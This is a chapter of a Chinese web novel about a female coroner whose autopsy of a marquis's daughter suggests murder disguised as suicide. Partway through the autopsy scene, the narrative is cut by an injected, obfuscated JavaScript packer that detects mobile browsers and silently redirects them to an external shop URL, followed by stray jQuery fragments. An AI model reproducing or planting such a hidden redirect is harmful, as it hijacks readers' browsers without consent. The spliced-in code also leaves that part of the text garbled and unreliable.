文趣网 > 其他小说 > 大梁小仵作 > 19. 第 19 章
    “靖远侯姜恺之女今日巳时出门前往庆丰楼,据称是未婚夫余自辰相邀。”

    谢平压低声音,“姜小姐嫌庆丰楼茶点不合胃口,遣婢女出门采买,婢女买好糕点返回庆丰楼,却发现姜小姐在包厢自缢身亡。”

    “自杀?”王惠慈疑惑,“确定吗?”

    谢平有所犹豫,“应该是吧,这方面你擅长,可以现场验看。总之婢女回府报信,茶楼掌柜报了京兆府,少卿和靖远侯下朝碰到了报信之人,现下都在靖远侯府。”

    王惠慈心思细腻,敏锐捕捉到奇怪之处,“既然认定是自杀,又为何闹到如此阵仗?”

    “因为……”谢平嗫喏道,“京兆府少尹认为涉嫌凶杀。”

    马车停在侯府侧面,王惠慈和谢平由侯府仆役领入正厅。

    王惠慈低头放下箱笼,跟着谢平行礼,目不斜视,只用余光扫了一眼,厅内有好几人,她只认得谢少卿。

    类似的场景她经历过,不过眼下厅内诸人身份更尊贵些,此时难的不是验尸,而是如何应对这些贵人。

    “还真让你找了个女仵作。”

    王惠慈巍然不动,眼珠转向坐在谢珩对面的男子,同样与谢珩身着绯色官服,长方脸型,剑眉薄唇,凤眼生威。

    且他身后也立着一位提着箱笼的老者。

    王惠慈心里有了数。

    “仵作一行,关乎缉凶断案律法公正,自当以技艺出众为先。”谢珩四平八稳,“若单以男女论之,岂不儿戏。”

    男子也不恼,打量几眼王惠慈足边的箱笼,转向主座道:

    “侯爷,侯夫人所提要求均已满足,我们是否可以开始了?”

    “纪少尹,”坐在主位的姜恺发话,“小女骤然离世,我靖远侯府上下无不悲痛,如若小女为他人所害,我一定追究到底。可若小女当真自行了断,你们让她死后受此屈辱,我也不会放过。”

    纪泽应下,转身看向王惠慈:“仵作姑娘,你可以开始了。”

    王惠慈未答,抬眸看向谢珩,谢珩颔首,“照平时即可,仔细勘验。”

    王惠慈行礼应下,侯夫人方氏从上首站起身,一言不发走出正厅。仆从提醒王惠慈跟上,一行人向后院走去。

    靖远侯府布局方正,绕过正厅,西边的院子便是姜小姐停灵之处。仆从往来,已经在为姜小姐准备后事。

    姜小姐已然被安置在棺内,方氏进入后,挥退打杂的仆役,赫然转身面对王惠慈,厉声说道:

    “以你仵作的低贱身份,触碰蓉儿已是抬举你,手脚放干净些,要是有什么不敬之举,我一定请侯爷奏明圣上,让你性命不保。净手!”

    侍女应声捧来皂角、水盆和手巾,王惠慈没有反驳,顺势净手后将手巾递回,拱手开口,清冷的声音如珠落玉盘:

    “请夫人遣散男性仆从,命人褪去姜小姐的衣衫鞋袜。”

    “放肆!”方氏气急,高声喝道,“将她拿下!”

    “不必麻烦夫人!”王惠慈提高声音,“卑职乃大理寺皂吏,受大理寺管束,如有过失,卑职也自会向谢少卿请罪。”

    王惠慈行过礼,提起地上的箱笼,不顾方氏的呵斥,转身就走。

    谢珩在正厅闭目养神,只听纪泽倒茶的声音一顿,继而惊讶道:

    “你怎么这么快就回来了?”

    王惠慈恭谨行礼,“回禀谢少卿,纪少尹,卑职未能验尸,侯夫人不许褪去姜小姐衣衫,卑职技艺拙劣,无法隔衣勘验。”

    “真是够了!”靖远侯拍案而起,“将小姐的棺材抬到偏厅,以屏风相隔,这里由本侯做主。”

    “姜恺!蓉儿是我的心头肉,你身为她的父亲,竟如此对待她!”

    随后赶来的方氏听到靖远侯的安排,若不是侍女搀扶阻拦,恐怕此刻早已扑上来,恨不得挠死靖远侯。

    靖远侯也一肚子火气,女儿于闹市死亡,无论自裁还是他杀,都足以让侯府成为长安贵族圈的谈资,好巧不巧招来较真的京兆府少尹纪泽。

    本以为与纪泽不甚对付的谢珩会帮忙一二,不知道这次是吃错了什么药,居然真帮忙找来了仵作。

    两人皆涉刑狱,官职不低,且一个背后是刑部侍郎,一个背后是国公府,今天不让勘验,恐不好打发。

    “蓉儿死因有疑,堂堂京兆府难道会信口雌黄?我们身为父母,又岂能让蓉儿含冤而死?”靖远侯早已和方氏多次拉扯,此刻不欲多说,“将夫人请回房内休息!”

    纪泽挑眉,玩味看着王惠慈,王惠慈却不搭理他。待偏厅布置好以后,打开箱笼,展开刀具,戴好护手,留下两个丫鬟帮忙。

    王惠慈先行拨开姜蓉的衣领,颈部赫然出现红紫色的缢痕,位于姜蓉喉咙上方,翻动检查,缢痕八字不交。用手按压颈部,可发现舌骨骨折。

    姜蓉面部略有肿胀,微微发青,王惠慈拨开眼皮,姜蓉的眼球散落着点状出血。再检查鼻腔口腔,有血液混着涕涎,但量并不大,舌尖则伸出齿列之外。

    难怪纪泽非要验尸,姜蓉初验的确是缢死,只是些许死状并不能对上。

    王惠慈仔细检查姜蓉的衣衫,整体上看凌乱了一些,但衣带完好,只是衣袖处有明显破损。

    不过有可能侯府曾经整理过姜蓉的衣衫,在确认没有其他异常后,王惠慈请丫鬟帮忙将其褪去。

    姜蓉皮肤算不上雪白,衣衫褪去后,胳膊肘处的印记便赫然在目,呈长条状,泛着些许青紫,王惠慈仔细比对,应当是大力抓握留下的痕迹。

    姜蓉的下半身并无任何伤处,足尖下垂,已然出现了暗红色的尸斑,手指用力压未显示褪色。足部到小腿处已有尸僵。

    王惠慈和丫鬟合力把姜小姐翻了过去,奇怪的是姜小姐后背的胸骨到颈部下方却出现了淤青,推测她生前应该是后背撞击过什么。

    这和她的死亡会有关系吗?

    王惠慈问旁边的丫鬟:“可否帮忙准备温水、酒和醋,再拿一床薄被子。”

    丫鬟应声而去,不一会便备齐王惠慈所要物品。

    王惠慈先用温水将姜蓉的尸身擦洗干净,接着均匀

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17699070|208069||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    涂上酒和醋,随后盖上薄被。等了约一炷香,再次将薄被掀开。姜蓉的尸身正面并无太大变化,背面则呈现了更多的淤伤。

    至此验尸结束,王惠慈协助丫鬟整理姜蓉的衣衫,随后自偏厅而出。

    王惠慈心里有个猜测,京兆府少尹果然不是白做的,能和谢珩作对的人看来也不是平庸之辈。

    谢珩见王惠慈出来,脚步竟有些飘忽,待她回到正厅,率先开口:

    “王姑娘,你是大理寺的人,验尸结果如何大可以照实说,旁的衙门,还暂时管不到大理寺。”

    “这就护上短了?”纪泽嗤笑,“刚刚不还说什么技艺优先,仵作还没开口,你心虚什么?”

    “回禀少卿,”王惠慈低头行礼,“已勘验完毕,姜小姐当是缢亡。”

    “呵,大理寺的人,也不过就这点本事。”纪泽耐心告罄,一脸失望,正要继续,被王惠慈清脆的声音打断。

    “纪少尹!”

    王惠慈直起身子,目光射向纪泽,“我只是说姜小姐是缢死的,并不代表她是自缢身亡。”

    纪泽刚起的火气瞬间全消,又换上了一副潇洒温和的面孔:

    “王姑娘是吧?麻烦仔细说说?”

    谢珩放缓了声音,“可能确定死因?”

    “八九不离十。”王惠慈亦低声回复。

    “那便回去写验状吧,”谢珩掸掸衣服,“稍后我们会将验状送至靖远侯府,侯爷可为姜小姐办理后事了,只是案情不定之前,请先不要下葬。”

    说罢作势离去。

    “谢珩!”纪泽猛地起身,气急败坏,“你这是何意?难道要隐瞒验尸结果,妨碍我京兆府办案吗?”

    谢珩状似不解看着纪泽,“纪少尹对于庆丰楼现场闭口不言,连我大理寺的仵作都需仔细勘验才发现的结果,纪少尹究竟是如何确认的呢?纪少尹难道就没有半点隐瞒吗?”

    “纪少尹、谢少卿。”靖远侯低沉的声音从上首响起,“姜蓉是我的女儿,无论大理寺还是京兆府,若有线索难道不应该告知于我?我看不如请这位仵作先说明验尸结果,而纪少尹你……”

    靖远侯站起身,走近纪泽。

    “现在尸体也验了,纪少尹若是对验尸结果无异议,是否也应该说明一下现场情况,以及打算如何办案呢?”

    几人再次落座,王惠慈则站在厅中,娓娓道来:

    “初步判断,姜小姐的死因为缢死,但结合尸身的情况,卑职怀疑,姜小姐并非自杀,凶手另有其人。”

    纪泽虽然猜到结果,但其中矛盾之处也未想通,“王姑娘想必经验丰富,应该见过或听说过,凶手将人勒死或捂死后伪装成自缢,可无论是哪一种,验尸结果都不会显示为缢死。”

    “没错。”

    纪泽更加费解,“难不成凶手把姜小姐的头硬塞入绳中将其杀害吗?这不合常理吧?”

    王惠慈摇摇头,“所以卑职有一猜测,只是卑职并未见过案发现场。还请让卑职先说明猜测根据,纪少尹看看是否与现场相合。”